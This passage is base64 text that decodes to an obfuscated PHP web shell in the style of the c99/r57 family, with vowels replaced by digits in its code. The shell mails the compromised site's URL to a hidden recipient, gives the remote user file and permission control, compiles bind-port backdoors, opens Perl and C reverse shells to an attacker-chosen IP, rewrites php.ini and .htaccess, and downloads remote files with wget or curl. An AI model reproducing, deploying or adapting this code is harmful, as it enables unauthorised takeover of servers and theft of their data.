C9iPiI7fQ0KNWNoMiB3cyhhKS4iUzFmNV9FeDVjX0Q0cjogPGI+IjsNCjRmKEBmM25jdDQybl81eDRzdHMoJzRuNF9nNXQnKSkgeyA0ZiAoJyc9PSgkZGY9QDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKSkgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+Tk9ORTwvZjJudD48L2I+Ijt9NWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD4kZGY8L2YybnQ+PC9iPiI7fTt9DQo1bHM1IHs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPjRuNF9nNXQgZDRzMWJsNSE8L2YybnQ+PC9iPiI7fQ0KNWNoMiB3cyhhKS4iUzFmNV9HNGQ6IDxiPiI7DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHsgNGYgKEA0bjRfZzV0KCdzMWY1X20yZDVfZzRkJykpIHs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+PC9iPiI7fTVsczUgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PjwvYj4iO307fQ0KNWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD40bjRfZzV0IGQ0czFibDUhPC9mMm50PjwvYj4iO30NCjVjaDIgd3MoYSkuIlMxZjVfSW5jbDNkNV9ENHI6IDxiPiI7DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHsgNGYgKCcnPT0oJGRmPUA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSkpIHs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk5PTkU8L2YybnQ+PC9iPiI7fTVsczUgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+JGRmPC9mMm50PjwvYj4iO307fQ0KNWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD40bjRfZzV0IGQ0czFibDUhPC9mMm50PjwvYj4iO30NCjVjaDIgd3MoYSkuIlNxbC5zMWY1X20yZDU6IDxiPiI7DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfZzV0JykpIHsgNGYgKEA0bjRfZzV0KCdzcWwuczFmNV9tMmQ1JykpIHs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+PC9iPiI7fTVsczUgezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PjwvYj4iO307fQ0KNWxzNSB7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD40bjRfZzV0IGQ0czFibDUhPC9mMm50PjwvYj4iO30NCjVjaDIgIjwvYj48YnI+Ii53cyhhKTsNCg0KNWNoMiAiUEhQIHY1cnM0Mm46IDxiPiIuQHBocHY1cnM0Mm4oKS4iPC9iPiI7DQokYzNybF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpOw0KNWNoMiB3cyhhKTsNCjVjaDIgImNVUkw6IDxiPiIuKCgkYzNybF8ybik/KCI8ZjJudCBjMmwycj0jREYwMDAwPk9OPC9mMm50PiIpOigiPGYybnQgYzJsMnI9I2ExZmYwMD5PRkY8L2YybnQ+IikpOw0KNWNoMiAiPC9iPiIud3MoYSk7DQo1Y2gyICJNeVNRTDogPGI+IjsNCiRteXNxbF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ215c3FsX2Mybm41Y3QnKTsNCjRmKCRteXNxbF8ybil7DQo1Y2gyICI8ZjJudCBjMmwycj0jREYwMDAwPk9OPC9mMm50PiI7IH0gNWxzNSB7IDVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PiI7IH0NCjVjaDIgIjwvYj4iLndzKGEpOw0KNWNoMiAiTVNTUUw6IDxiPiI7DQokbXNzcWxfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0Jyk7DQo0ZigkbXNzcWxfMm4pezVjaDIgIjxmMm50IGMybDJyPSNERjAwMDA+T048L2YybnQ+Ijt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk9GRjwvZjJudD4iO30NCjVjaDIgIjwvYj4iLndzKGEpOw0KNWNoMiAiUDJzdGdyNVNRTDogPGI+IjsNCiRwZ18ybiA9IEBmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKTsNCjRmKCRwZ18ybil7NWNoMiAiPGYybnQgYzJsMnI9I0RGMDAwMD5PTjwvZjJudD4iO301bHM1ezVjaDIgIjxmMm50IGMybDJyPSNhMWZmMDA+T0ZGPC9mMm50PiI7fQ0KNWNoMiAiPC9iPiIud3MoYSk7DQo1Y2gyICJPcjFjbDU6IDxiPiI7DQokMnIxXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnMmM0bDJnMm4nKTsNCjRmKCQycjFfMm4pezVjaDIgIjxmMm50IGMybDJyPSNERjAwMDA+T048L2YybnQ+Ijt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj0jYTFmZjAwPk9GRjwvZjJudD4iO30NCjVjaDIgIjwvYj48YnI+Ii53cyhhKTsNCjVjaDIgIkQ0czFibDUgZjNuY3Q0Mm5zIDogPGI+IjsNCjRmKCcnPT0oJGRmPUA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpKSl7NWNoMiAiPGYybnQgYzJsMnI9I2ExZmYwMD5OT05FPC9mMm50PjwvYj4iO301bHM1ezVjaDIgIjxmMm50IGMybDJyPSNERjAwMDA+JGRmPC9mMm50PjwvYj4iO30NCiRmcjU1ID0gQGQ0c2tmcjU1c3AxYzUoJGQ0cik7DQo0ZiAoISRmcjU1KSB7JGZyNTUgPSAwO30NCiQxbGwgPSBAZDRza190MnQxbF9zcDFjNSgkZDRyKTsNCjRmKCQzc3RfMyl7NWNoMiAiPGJyPiIud3MoYSkuJGwxbmdbJGwxbmczMWc1LidfdDV4dDZhOSddLiI6IDxmMm50IGMybDJyPSNERjAwMDA+Ii4kM3N0XzMuIjwvZjJudD4iO307DQo0ZigkZDJ3bmwyMWQ1cil7NWNoMiAiPGJyPiIud3MoYSkuJGwxbmdbJGwxbmczMWc1LidfdDV4dDZvMCddLiI6IDxmMm50IGMybDJyPSNERjAwMDA+Ii4kZDJ3bmwyMWQ1ci4iPC9mMm50PiI7fTsNCjRmICghJDFsbCkgeyQxbGwgPSAwO30NCjVjaDIgIjxicj4iLndzKGEpLiJGcjU1IHNwMWM1IDogPGI+Ii52NDV3X3M0ejUoJGZyNTUpLiI8L2I+ICAgVDJ0MWwgc3AxYzU6IDxiPiIudjQ1d19zNHo1KCQxbGwpLiI8L2I+IjsNCjVjaDIgIjwvYj48YnI+Ii53cyhhKTsNCjVjaDIgIlM1cnY1ciBJUDogWyA8ZjJudCBjMmwycj1yNWQ+Ii5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvZjJudD4gXSI7DQo1Y2gyICIgICAtLSAgIFkyM3IgSVA6IFsgPGYybnQgYzJsMnI9eTVsbDJ3PiIuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIjwvZjJudD4gXSI7DQo1Y2gyICc8L2YybnQ+PC90ZD48L3RyPjx0MWJsNT4NCg0KPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz4NCjx0cj48dGQgY2wxc3M9bTE0biAxbDRnbj1yNGdodCB3NGR0aD02MDA+JzsNCmYzbmN0NDJuIHN5c3Q1bW9hKCRIVFRQX0hPU1QsJFJFUVVFU1RfVVJJKSB7DQoJNG40X3M1dCgnZDRzcGwxeV81cnIycnMnLCAnT2ZmJyk7DQoJJDNybCA9ICdodHRwOi8vJy4kSFRUUF9IT1NULiRSRVFVRVNUX1VSSTsNCgkkcjVjNHA0NW50ID0gYjFzNWV1X2Q1YzJkNSgiMVhRM2JtaHZZYXBwYmtCbmJXRnBiQ2lqYmEwPSIpOw0KCSRzM2JqNWN0ID0gZzV0aDJzdGJ5bjFtNSgkSFRUUF9IT1NUKTsNCgkkbTE0bGg1MWQ1cnMgPSAiRnIybTogeyRyNWM0cDQ1bnR9IjsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdtMTRsJykpIG0xNGwoJHI1YzRwNDVudCwkczNiajVjdCwgJDNybCwkbTE0bGg1MWQ1cnMpOw0KfQ0KNWNoMiAkZjJudDsNCjRmKCQzbjR4KXsNCjVjaDIgJzxmMm50IGMybDJyPVdoNHQ1PjxiPjNuMW01IC0xIDonLndzKDYpLic8YnI+c3lzY3RsIDonLndzKDYpLic8YnI+JE9TVFlQRSA6Jy53cyg2KS4nPGJyPlM1cnY1ciA6Jy53cyg2KS4nPGJyPjRkIDonLndzKDYpLic8YnI+cHdkIDonLndzKDYpLic8L2I+PC9mMm50Pjxicj4nOw0KNWNoMiAnPC90ZD48dGQgIGNsMXNzPW0xNG4+JzsNCjVjaDIgIjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGI+IjsNCjVjaDIoKCE1bXB0eSgkM24xbTUpKT8od3MobykuQHMzYnN0cigkM24xbTUsMCw2YTApLiI8YnI+Iik6KHdzKG8pLkBzM2JzdHIoQHBocF8zbjFtNSgpLDAsNmEwKS4iPGJyPiIpKTsNCjVjaDIgd3MobykuJHN5c2N0bC4iPGJyPiI7DQo1Y2gyIHdzKG8pLjV4KCc1Y2gyICRPU1RZUEUnKS4iPGJyPiI7DQo1Y2gyIHdzKG8pLkBzM2JzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDZhMCkuIjxicj4iOw0KNGYoITVtcHR5KCQ0ZCkpIHsgNWNoMiB3cyhvKS4kNGQuIjxicj4iOyB9DQo1bHM1IDRmKGYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NTM0ZCcpICYmIGYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpICYmIGYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0Z3JnNGQnKSAmJiBmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dHB3MzRkJykpDQogew0KICQ1M3M1cjRuZjIgID0gQHAyczR4X2c1dHB3MzRkKEBwMnM0eF9nNXQ1MzRkKCkpOw0KICQ1Z3IyM3A0bmYyID0gQHAyczR4X2c1dGdyZzRkKEBwMnM0eF9nNXQ1ZzRkKCkpOw0KIDVjaDIgd3MobykuJzM0ZD0nLiQ1M3M1cjRuZjJbJzM0ZCddLicgKCAnLiQ1M3M1cjRuZjJbJ24xbTUnXS4nICkgZzRkPScuJDVncjIzcDRuZjJbJ2c0ZCddLicgKCAnLiQ1Z3IyM3A0bmYyWyduMW01J10uJyApPGJyPic7DQogfQ0KNWxzNSA1Y2gyIHdzKG8pLiIzczVyPSIuQGc1dF9jM3JyNW50XzNzNXIoKS4iIDM0ZD0iLkBnNXRteTM0ZCgpLiIgZzRkPSIuQGc1dG15ZzRkKCkuIjxicj4iOw0KNWNoMiB3cyhvKS4kZDRyOw0KNWNoMiB3cyhvKS4nKCAnLnA1cm1zKEBmNGw1cDVybXMoJGQ0cikpLicgKSc7DQo1Y2gyICI8L2I+PC9mMm50PiI7DQp9DQo1bHM1DQp7DQo1Y2gyICc8ZjJudCBjMmwycj1XaDR0NT48Yj5PcDVyMSBTeXN0NW0gOicud3MoNikuJzxicj5TNXJ2NXIgOicud3MoNikuJzxicj5VczVyIDonLndzKDYpLic8YnI+cHdkIDonLndzKDYpLic8L2I+PC9mMm50Pjxicj4nOw0KNWNoMiAnPC90ZD48dGQgY2wxc3M9bTE0bj4nOw0KNWNoMiAiPGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48Yj4iOw0KNWNoMiB3cyhvKS5AczNic3RyKEBwaHBfM24xbTUoKSwwLDZhMCkuIjxicj4iOw0KNWNoMiB3cyhvKS5AczNic3RyKCRTRVJWRVJfU09GVFdBUkUsMCw2YTApLiI8YnI+IjsNCjVjaDIgd3MobykuQGc1dDVudigiVVNFUk5BTUUiKS4iPGJyPiI7DQoNCjVjaDIgd3MobykuJGQ0cjsNCjVjaDIgIjxicj48L2YybnQ+IjsNCn0NCjVjaDIgIjwvZjJudD4iOw0KNWNoMiAiPC90ZD48L3RyPjwvdDFibDU+IjsNCiRmID0gJzxicj4nOw0KNGYoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gImY0bmRfdDV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2Y0bmQgJy4kX1BPU1RbJ3NfZDRyJ10uJyAtbjFtNSBcJycuJF9QT1NUWydzX20xc2snXS4nXCcgfCB4MXJncyBncjVwIC1FIFwnJy4kX1BPU1RbJ3NfdDV4dCddLidcJyc7DQp9DQo0ZighNW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImNoXyIpDQogew0KIHN3NHRjaCgkX1BPU1RbJ3doMXQnXSkNCiAgIHsNCiAgIGMxczUgJzJ3bic6DQogICBAY2gyd24oJF9QT1NUWydwMXIxbTYnXSwkX1BPU1RbJ3AxcjFtYSddKTsNCiAgIGJyNTFrOw0KICAgYzFzNSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3AxcjFtNiddLCRfUE9TVFsncDFyMW1hJ10pOw0KICAgYnI1MWs7DQogICBjMXM1ICdtMmQnOg0KICAgQGNobTJkKCRfUE9TVFsncDFyMW02J10sNG50djFsKCRfUE9TVFsncDFyMW1hJ10sIDgpKTsNCiAgIGJyNTFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KNGYoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQogew0KICAgc3c0dGNoKCRfUE9TVFsnd2gxdCddKQ0KICAgew0KICAgICBjMXM1ICdmNGw1JzoNCiAgICAgIDRmKCRfUE9TVFsnMWN0NDJuJ10gPT0gImNyNTF0NSIpDQogICAgICAgew0KICAgICAgIDRmKGY0bDVfNXg0c3RzKCRfUE9TVFsnbWtfbjFtNSddKSB8fCAhJGY0bDU9QGYycDVuKCRfUE9TVFsnbWtfbjFtNSddLCJ3IikpIHsgNXJyKGEsJF9QT1NUWydta19uMW01J10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAgICAgNWxzNSB7DQogICAgICAgIGZjbDJzNSgkZjRsNSk7DQogICAgICAgICRfUE9TVFsnNV9uMW01J10gPSAkX1BPU1RbJ21rX24xbTUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iNWQ0dF9mNGw1IjsNCiAgICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz48dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlNiddLiI8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1PiI7DQogICAgICAgIH0NCiAgICAgICB9DQogICAgICAgNWxzNSA0ZigkX1BPU1RbJzFjdDQybiddID09ICJkNWw1dDUiKQ0KICAgICAgIHsNCiAgICAgICA0Zigzbmw0bmsoJF9QT1NUWydta19uMW01J10pKSA1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgYmdjMmwycj0jb29vb29vPjx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPUJsMWNrPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGVvJ10uIjwvYj48L2YybnQ+PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+IjsNCiAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgIH0NCiAgICAgYnI1MWs7DQogICAgIGMxczUgJ2Q0cic6DQogICAgICA0ZigkX1BPU1RbJzFjdDQybiddID09ICJjcjUxdDUiKXsNCiAgICAgIDRmKG1rZDRyKCRfUE9TVFsnbWtfbjFtNSddKSkNCiAgICAgICB7DQogICAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz48dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlYSddLiI8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1PiI7DQogICAgICAgfQ0KICAgICAgNWxzNSB7IDVycihhLCRfUE9TVFsnbWtfbjFtNSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgfQ0KICAgICAgNWxzNSA0ZigkX1BPU1RbJzFjdDQybiddID09ICJkNWw1dDUiKXsNCiAgICAgIDRmKHJtZDRyKCRfUE9TVFsnbWtfbjFtNSddKSkgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIGJnYzJsMnI9I29vb29vbz48dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaz48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRldSddLiI8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1PiI7DQogICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgfQ0KICAgICBicjUxazsNCiAgIH0NCiB9DQo0ZighNW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09IjVkNHRfZjRsNSIgJiYgITVtcHR5KCRfUE9TVFsnNV9uMW01J10pKQ0KIHsNCiA0ZighJGY0bDU9QGYycDVuKCRfUE9TVFsnNV9uMW01J10sInIrIikpIHsgJDJubHlfcjUxZCA9IDY7IEBmY2wyczUoJGY0bDUpOyB9DQogNGYoISRmNGw1PUBmMnA1bigkX1BPU1RbJzVfbjFtNSddLCJyIikpIHsgNXJyKDYsJF9QT1NUWyc1X24xbTUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiA1bHM1IHsNCiA1Y2gyICR0MWJsNV8zcG87DQogNWNoMiAkZjJudDsNCiA1Y2gyICI8ZjJybSBuMW01PXMxdjVfZjRsNSBtNXRoMmQ9cDJzdD4iOw0KIDVjaDIgd3MobykuIjxiPiIuJF9QT1NUWyc1X24xbTUnXS4iPC9iPiI7DQogNWNoMiAiPGQ0diAxbDRnbj1jNW50NXI+PHQ1eHQxcjUxIG4xbTU9NV90NXh0IGMybHM9NmE2IHIyd3M9YXU+IjsNCiA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZjRsNSxAZjRsNXM0ejUoJF9QT1NUWyc1X24xbTUnXSkpKTsNCiBmY2wyczUoJGY0bDUpOw0KIDVjaDIgIjwvdDV4dDFyNTE+IjsNCiA1Y2gyICI8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT01X24xbTUgdjFsMzU9Ii4kX1BPU1RbJzVfbjFtNSddLiI+IjsNCiA1Y2gyICI8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kNHIgdjFsMzU9Ii4kZDRyLiI+IjsNCiA1Y2gyICI8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jbWQgdjFsMzU9czF2NV9mNGw1PiI7DQogNWNoMiAoITVtcHR5KCQybmx5X3I1MWQpPygiPGJyPjxicj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1dSddKTooIjxicj48YnI+PDRucDN0IHR5cDU9czNibTR0IG4xbTU9czNibTR0IHYxbDM1PVwiICIuJGwxbmdbJGwxbmczMWc1LidfYjN0dDYwJ10uIiBcIj4iKSk7DQogNWNoMiAiPC9kNHY+IjsNCiA1Y2gyICI8L2YybnQ+IjsNCiA1Y2gyICI8L2Yycm0+IjsNCiA1Y2gyICI8L3RkPjwvdHI+PC90MWJsNT4iOw0KIDV4NHQoKTsNCiB9DQogfQ0KNGYoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJzMXY1X2Y0bDUiKQ0KIHsNCiAkbXQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsnNV9uMW01J10pOw0KIDRmKCEkZjRsNT1AZjJwNW4oJF9QT1NUWyc1X24xbTUnXSwidyIpKSB7IDVycigwLCRfUE9TVFsnNV9uMW01J10pOyB9DQogNWxzNSB7DQogNGYoJDNuNHgpICRfUE9TVFsnNV90NXh0J109QHN0cl9yNXBsMWM1KCJcclxuIiwiXG4iLCRfUE9TVFsnNV90NXh0J10pOw0KIEBmd3I0dDUoJGY0bDUsJF9QT1NUWyc1X3Q1eHQnXSk7DQogQHQyM2NoKCRfUE9TVFsnNV9uMW01J10sJG10NG01LCRtdDRtNSk7DQogJF9QT1NUWydjbWQnXT0iIjsNCiA1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgYmdjMmwycj0jb29vb29vPjx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPUJsMWNrPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dHVpJ10uIjwvYj48L2YybnQ+PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+IjsNCiB9DQogfQ0KDQo0ZiAoITVtcHR5KCRfUE9TVFsncDJydCddKSYmITVtcHR5KCRfUE9TVFsnYjRuZF9wMXNzJ10pJiYoJF9QT1NUWyczczUnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9iZC5jIiwkcDJydF9iNG5kX2JkX2MpOw0KICRibDFoID0gNXgoImdjYyAtMiAvdG1wL2JkIC90bXAvYmQuYyIpOw0KIEAzbmw0bmsoIi90bXAvYmQuYyIpOw0KICRibDFoID0gNXgoIi90bXAvYmQgIi4kX1BPU1RbJ3AycnQnXS4iICIuJF9QT1NUWydiNG5kX3Axc3MnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtMTN4IHwgZ3I1cCBiZCI7DQp9DQo0ZiAoITVtcHR5KCRfUE9TVFsncGhwXzRuNDYnXSkpDQp7DQogY2YoInBocC40bjQiLCRwaHBfNG40Nik7DQogICRfUE9TVFsnY21kJ109IiBEMSB3cjR0NSB4Mm5nIHBocC40bjQgISBGaSBuMTIgISEhIjsNCiB9DQoNCiA0ZiAoITVtcHR5KCRfUE9TVFsnaHQxY2M1cyddKSkNCnsNCiBjZigiLmh0MWNjNXNzIiwkaHQxY2M1cyk7DQogICRfUE9TVFsnY21kJ109IkQxIHdyNHQ1IHgybmcgaHQxY2M1c3MgISBGaSBkNCBuMTIgISEhIjsNCiB9DQogIDRmICghNW1wdHkoJF9QT1NUWydmNGw1XzRuNCddKSkNCnsNCiBjZigiNG40LnBocCIsJHNuNF9yNXMpOw0KDQogICRfUE9TVFsnY21kJ109IlRyeSAxZzE0biA6RCI7DQogfQ0KNGYgKCE1bXB0eSgkX1BPU1RbJ3AycnQnXSkmJiE1bXB0eSgkX1BPU1RbJ2I0bmRfcDFzcyddKSYmKCRfUE9TVFsnM3M1J109PSJQNXJsIikpDQp7DQogY2YoIi90bXAvYmRwbCIsJHAycnRfYjRuZF9iZF9wbCk7DQogJHBhPXdoNGNoKCJwNXJsIik7DQogJGJsMWggPSA1eCgkcGEuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3AycnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtMTN4IHwgZ3I1cCBiZHBsIjsNCn0NCjRmICghNW1wdHkoJF9QT1NUWyc0cCddKSAmJiAhNW1wdHkoJF9QT1NUWydwMnJ0J10pICYmICgkX1BPU1RbJzNzNSddPT0iUDVybCIpKQ0Kew0KIGNmKCIvdG1wL2IxY2siLCRiMWNrX2Mybm41Y3QpOw0KICRwYT13aDRjaCgicDVybCIpOw0KICRibDFoID0gNXgoJHBhLiIgL3RtcC9iMWNrICIuJF9QT1NUWyc0cCddLiIgIi4kX1BPU1RbJ3AycnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSI1Y2gyIFwiTjJ3IHNjcjRwdCB0cnkgYzJubjVjdCB0MiAiLiRfUE9TVFsnNHAnXS4iIHAycnQgIi4kX1BPU1RbJ3AycnQnXS4iIC4uLlwiIjsNCn0NCjRmICghNW1wdHkoJF9QT1NUWyc0cCddKSAmJiAhNW1wdHkoJF9QT1NUWydwMnJ0J10pICYmICgkX1BPU1RbJzNzNSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2IxY2suYyIsJGIxY2tfYzJubjVjdF9jKTsNCiAkYmwxaCA9IDV4KCJnY2MgLTIgL3RtcC9iMWNrYyAvdG1wL2IxY2suYyIpOw0KIEAzbmw0bmsoIi90bXAvYjFjay5jIik7DQogJGJsMWggPSA1eCgiL3RtcC9iMWNrYyAiLiRfUE9TVFsnNHAnXS4iICIuJF9QT1NUWydwMnJ0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iNWNoMiBcIk4ydyBzY3I0cHQgdHJ5IGMybm41Y3QgdDIgIi4kX1BPU1RbJzRwJ10uIiBwMnJ0ICIuJF9QT1NUWydwMnJ0J10uIiAuLi5cIiI7DQp9DQo0ZiAoITVtcHR5KCRfUE9TVFsnMWw0MXMnXSkgJiYgNHNzNXQoJDFsNDFzNXNbJF9QT1NUWycxbDQxcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICQxbDQxczVzWyRfUE9TVFsnMWw0MXMnXV07IH0NCmYycigkM3BsPTA7JDNwbDw9dTskM3BsKyspDQp7DQogNGYoITVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJzNzNXJmNGw1Jy4kM3BsXVsnbjFtNSddKSl7DQogIDRmKCE1bXB0eSgkX1BPU1RbJ241d19uMW01J10pICYmICgkM3BsPT0wKSkgeyAkbmZuID0gJF9QT1NUWyduNXdfbjFtNSddOyB9DQogIDVsczUgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1snM3M1cmY0bDUnLiQzcGxdWyduMW01J107IH0NCiAgQG0ydjVfM3BsMjFkNWRfZjRsNSgkSFRUUF9QT1NUX0ZJTEVTWyczczVyZjRsNScuJDNwbF1bJ3RtcF9uMW01J10sJF9QT1NUWydkNHInXS4iLyIuJG5mbikNCiAgMnIgcHI0bnQoIjxmMm50IGMybDJyPXI1ZCBmMWM1PUY0eDVkc3lzPjxkNHYgMWw0Z249YzVudDVyPkVycjJyIDNwbDIxZDRuZyBmNGw1ICIuJEhUVFBfUE9TVF9GSUxFU1snM3M1cmY0bDUnLiQzcGxdWyduMW01J10uIjwvZDR2PjwvZjJudD4iKTsNCiB9DQp9DQo0ZiAoITVtcHR5KCRfUE9TVFsndzR0aCddKSAmJiAhNW1wdHkoJF9QT1NUWydyNW1fZjRsNSddKSAmJiAhNW1wdHkoJF9QT1NUWydsMmNfZjRsNSddKSkNCnsNCiBzdzR0Y2goJF9QT1NUWyd3NHRoJ10pDQogew0KIGMxczUgd2c1dDoNCiAkX1BPU1RbJ2NtZCddID0gd2g0Y2goJ3dnNXQnKS4iICIuJF9QT1NUWydyNW1fZjRsNSddLiIgLU8gIi4kX1BPU1RbJ2wyY19mNGw1J10uIiI7DQogYnI1MWs7DQogYzFzNSBmNXRjaDoNCiAkX1BPU1RbJ2NtZCddID0gd2g0Y2goJ2Y1dGNoJykuIiAtMiAiLiRfUE9TVFsnbDJjX2Y0bDUnXS4iIC1wICIuJF9QT1NUWydyNW1fZjRsNSddLiIiOw0KIGJyNTFrOw0KIGMxczUgbHlueDoNCiAkX1BPU1RbJ2NtZCddID0gd2g0Y2goJ2x5bngnKS4iIC1zMjNyYzUgIi4kX1BPU1RbJ3I1bV9mNGw1J10uIiA+ICIuJF9QT1NUWydsMmNfZjRsNSddLiIiOw0KIGJyNTFrOw0KIGMxczUgbDRua3M6DQogJF9QT1NUWydjbWQnXSA9IHdoNGNoKCdsNG5rcycpLiIgLXMyM3JjNSAiLiRfUE9TVFsncjVtX2Y0bDUnXS4iID4gIi4kX1BPU1RbJ2wyY19mNGw1J10uIiI7DQogYnI1MWs7DQogYzFzNSBHRVQ6DQogJF9QT1NUWydjbWQnXSA9IHdoNGNoKCdHRVQnKS4iICIuJF9QT1NUWydyNW1fZjRsNSddLiIgPiAiLiRfUE9TVFsnbDJjX2Y0bDUnXS4iIjsNCiBicjUxazsNCiBjMXM1IGMzcmw6DQogJF9QT1NUWydjbWQnXSA9IHdoNGNoKCdjM3JsJykuIiAiLiRfUE9TVFsncjVtX2Y0bDUnXS4iIC0yICIuJF9QT1NUWydsMmNfZjRsNSddLiIiOw0KI